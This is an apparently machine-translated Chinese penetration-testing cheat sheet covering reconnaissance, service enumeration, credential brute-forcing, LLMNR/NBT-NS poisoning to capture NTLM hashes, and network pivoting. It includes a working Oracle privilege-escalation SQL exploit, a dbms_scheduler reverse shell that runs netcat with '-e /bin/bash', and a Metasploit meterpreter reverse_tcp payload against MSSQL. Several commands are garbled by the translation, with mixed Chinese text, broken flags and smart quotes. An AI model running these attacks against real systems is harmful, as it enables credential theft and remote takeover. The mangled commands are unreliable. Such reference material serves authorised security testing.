介绍
渗透测试工具备忘单,这是典型渗透测试约定的快速参考高级概述。设计为快速参考备忘单,它提供了第三方笔测试公司在执行手动基础结构渗透测试时将要运行的典型命令的高级概述。有关更多详细信息,我建议使用该工具的手册文件,或者从右侧菜单中选择更具体的笔测试备忘单。
ifconfig eth0 xxx.xxx.xxx.xxx/24
子网划分
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0
OSINT
被动信息收集
域名解析
WHOIS枚举
whois domain-name-here.com
执行DNS IP查找
dig a domain-name-here.com @nameserver
执行MX记录查询
dig mx domain-name-here.com @nameserver
用DIG执行区域传输
dig axfr domain-name-here.com @nameserver
DNS区域转移
命令 描述
nslookup -> set type=any -> ls -d blah.com
Windows DNS区域传输
dig axfr blah.com @ns1.blah.com
Linux DNS区域传输
电子邮件
只需发送电子邮件
使用Simply Email枚举所有在线位置(github,目标站点等),如果您使用代理服务器或设置较长的油门时间,则效果更好,因此Google不会认为您是机器人,而是会填写验证码。
git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN
Simply Email可以在收集后验证发现的电子邮件地址。
半主动信息收集
基本指纹
手动指纹/横幅抓取。
命令 描述
nc -v 192.168.1.1 25
telnet 192.168.1.1 25
基本版本控制/通过显示的横幅进行指纹打印
用NC抓横幅
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
主动信息收集
DNS暴力破解
域名解析
DNS枚举Kali-DNSRecon
根:〜# dnsrecon -d目标-D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
端口扫描
Nmap命令
有关更多命令,请参见Nmap备忘单(右侧菜单中的链接)。
基本的Nmap命令:
命令 描述
nmap -v -sS -A -T4 target
Nmap详细扫描,运行同步隐身,T4定时(在局域网上应该可以),操作系统和服务版本信息,针对服务的traceroute和脚本
nmap -v -sS -p–A -T4 target
如上,但是扫描所有TCP端口(花费更长的时间)
nmap -v -sU -sS -p- -A -T4 target
如上,但是扫描所有TCP端口和UDP扫描(需要更长的时间)
nmap -v -p 445 --script=smb-check-vulns
–script-args=unsafe=1 192.168.1.X
Nmap脚本扫描易受攻击的SMB服务器-警告:不安全= 1可能会导致故障转移
ls /usr/share/nmap/scripts/* | grep ftp
在nmap脚本中搜索关键字
我有几个人提到过T4扫描,请在此处应用常识。不要在外部笔测试中使用T4命令(使用Internet连接时),最好将T2与TCP连接扫描一起使用。在具有足够带宽的低延迟链接上,T4扫描可能更适合内部笔测试。但是,这一切都取决于目标设备,如果您使用T4 / T5嵌入式设备并给出不确定的结果,则嵌入式设备将很难应对。作为一般的经验法则,请尽可能缓慢地扫描,或对前1000名进行快速扫描,以便可以开始笔测试,然后开始较慢的扫描。
Nmap UDP扫描
nmap -sU TARGET
UDP协议扫描器
git clone https://github.com/portcullislabs/udp-proto-scanner.git
扫描IP地址文件以获取所有服务:
./udp-protocol-scanner.pl -f ip.txt
扫描特定的UDP服务:
udp-proto-scanner.pl -p ntp -f ips.txt
其他主机发现
其他主机发现方法,不使用nmap…
命令 描述
netdiscover -r 192.168.1.0/24
从ARP查找子网中的IP,MAC地址和MAC供应商,有助于确认您在$ client站点上的正确VLAN中
枚举和攻击网络服务
渗透测试工具可专门识别和/或枚举网络服务:
SAMB / SMB / Windows域枚举
Samba枚举
SMB枚举工具
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U “” target
enum4linux target
另请参阅nbtscan备忘单(右侧菜单)。
命令 描述
nbtscan 192.168.1.0/24
发现子网中的Windows / Samba服务器,找到Windows MAC地址,netbios名称并发现客户端工作组/域
enum4linux -a target-ip
做一切,运行除基于字典的共享名猜测之外的所有选项(查找Windows客户端域/工作组)
指纹SMB版本
smbclient -L //192.168.1.100
查找公开的SMB共享
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
枚举SMB用户
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
RID骑行:
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
用于RID循环的Metasploit模块:
use auxiliary/scanner/smb/smb_lookupsid
手动Null会话测试:
视窗:
net use \TARGET\IPC$ “” /u:""
Linux:
smbclient -L //192.168.99.131
NBTScan unixwiz
安装在Kali上:
apt-get install nbtscan-unixwiz
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan
LLMNR / NBT-NS欺骗
从网络窃取凭据。
Metasploit LLMNR / NetBIOS请求
欺骗/中毒LLMNR / NetBIOS请求:
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
捕获哈希:
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm
您最终将获得NTLMv2哈希,请使用john或hashcat对其进行破解。
响应者
或者,您可以使用响应者。
git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
运行Responder.py进行整个互动
在处理其他攻击媒介时,请运行Responder.py进行互动。
SNMP枚举工具
许多SNMP枚举工具。
修复SNMP输出值,以使其易于阅读:
apt-get install snmp-mibs-downloader download-mibs
echo “” > /etc/snmp/snmp.conf
命令 描述
snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts
SNMP枚举
SNMPv3枚举工具
使用nmap识别SNMPv3服务器:
nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
Rory McCune的snmpwalk包装器脚本有助于自动化SNMPv3的用户名枚举过程:
apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
使用Metasploits词汇表
Metasploit的单词表(下面的KALI路径)具有SNMP v1和2的通用凭据,对于较新的凭据,请查看GitHub上的Daniel Miessler的SecLists项目(而不是邮件列表!)。
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
R服务枚举
这是遗留的,为了完整性而包括在内。
nmap -A将执行下面列出的所有rservices枚举,添加此部分是为了完整性或手动确认:
RSH枚举
RSH运行命令
rsh
Metasploit RSH登录扫描仪
auxiliary/scanner/rservices/rsh_login
rusers显示已登录的用户
rusers -al 192.168.2.1
rusers扫描整个子网
rlogin -l
例如rlogin -l root TARGET-SUBNET / 24
手指枚举
finger @TARGET-IP
手指一个特定的用户名
finger batman@TARGET-IP
显示所有已登录用户的Solaris错误:
finger 0@host
SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN
finger ‘a b c d e f g h’@sunhost
谁
使用nmap识别运行rwhod(513 UDP)的计算机
TLS和SSL测试
testssl.sh
在单个主机上测试所有内容并输出到.html文件:
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html
漏洞评估
在Kali Rolling上安装OpenVAS 8:
apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
使用以下命令验证openvas是否正在运行:
netstat -tulpn
登录https://127.0.0.1:9392-在openvas-setup期间生成凭据。
数据库渗透测试
攻击网络上暴露的数据库服务器。
oracle
安装oscanner:
apt-get install oscanner
运行oscanner:
oscanner -s 192.168.1.200 -P 1521
指纹Oracle TNS版本
安装tnscmd10g:
apt-get install tnscmd10g
指纹Oracle TNS:
tnscmd10g version -h TARGET
nmap --script=oracle-tns-version
蛮力Oracle用户帐户
识别默认的Oracle帐户:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
针对Oracle TNS运行nmap脚本:
nmap -p 1521 -A TARGET
Oracle特权升级
要求:
Oracle需要在网络上公开
像scott这样的默认帐户正在使用中
快速查看其工作原理:
创建功能
在表SYS.DUAL上创建索引
我们刚刚创建的索引执行我们的函数SCOTT.DBA_X
该函数将由SYS用户执行(因为拥有该表的用户)。
使用DBA特权创建帐户
在下面的示例中,使用了用户SCOTT,但是使用另一个默认的Oracle帐户应该可以实现。
使用NMAP NSE脚本识别oracle db中的默认帐户:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
使用已识别的弱帐户登录(假设您找到一个)。
如何为oracle用户标识当前特权级别:
SQL> select * from session_privs;
SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid
curren_user is
pragma autonomous_transaction;
begin
execute immediate ‘grant dba to user1 identified by pass1’;
commit;
return ‘FOO’;
end;
Oracle priv esc并获得DBA访问权限:
运行netcat:netcat -nvlp 443代码>
SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA(‘BAR’));
使用选择查询运行漏洞利用:
SQL> Select * from session_privs;
您应该有一个DBA用户,其凭据为user1和pass1。
通过再次重新运行第一个命令来验证您是否具有DBA特权。
使用以下方法删除漏洞:
drop index exploit_1337;
获取Oracle Reverse os-shell:
begin
dbms_scheduler.create_job( job_name => ‘MEH1337’,job_type =>
‘EXECUTABLE’,job_action => ‘/bin/nc’,number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value(‘rev_shell’, 1, ‘TARGET-IP’);
dbms_scheduler.set_job_argument_value(‘rev_shell’, 2, ‘443’);
dbms_scheduler.set_job_argument_value(‘rev_shell’, 3, ‘-e’);
dbms_scheduler.set_job_argument_value(‘rev_shell’, 4, ‘/bin/bash’);
dbms_scheduler.enable(‘rev_shell’);
end;
微软SQL
枚举/发现:
Nmap:
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
Metasploit:
msf > use auxiliary/scanner/mssql/mssql_ping
使用MS SQL Server浏览更多
尝试通过MS SQL Server Management Studio使用“更多浏览”
Bruteforce MSSQL登录
msf > use auxiliary/admin/mssql/mssql_enum
Metasploit MSSQL Shell
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
网络
Plink.exe隧道
腻子链接隧道
将远程端口转发到本地地址:
plink.exe -P 22 -l root -pw “1337” -R 445:127.0.0.1:445 REMOTE-IP
旋转
SSH透视
ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
在/etc/proxychains.conf中添加socks4 127.0.0.1 1010
SSH从一个网络转到另一个网络:
ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
在/etc/proxychains.conf中添加socks4 127.0.0.1 1010
proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
在/etc/proxychains.conf中添加socks4 127.0.0.1 1011
Meterpreter枢轴
TTL指纹
操作系统 TTL尺寸
视窗
128
的Linux
64
的Solaris
255
思科/网络
255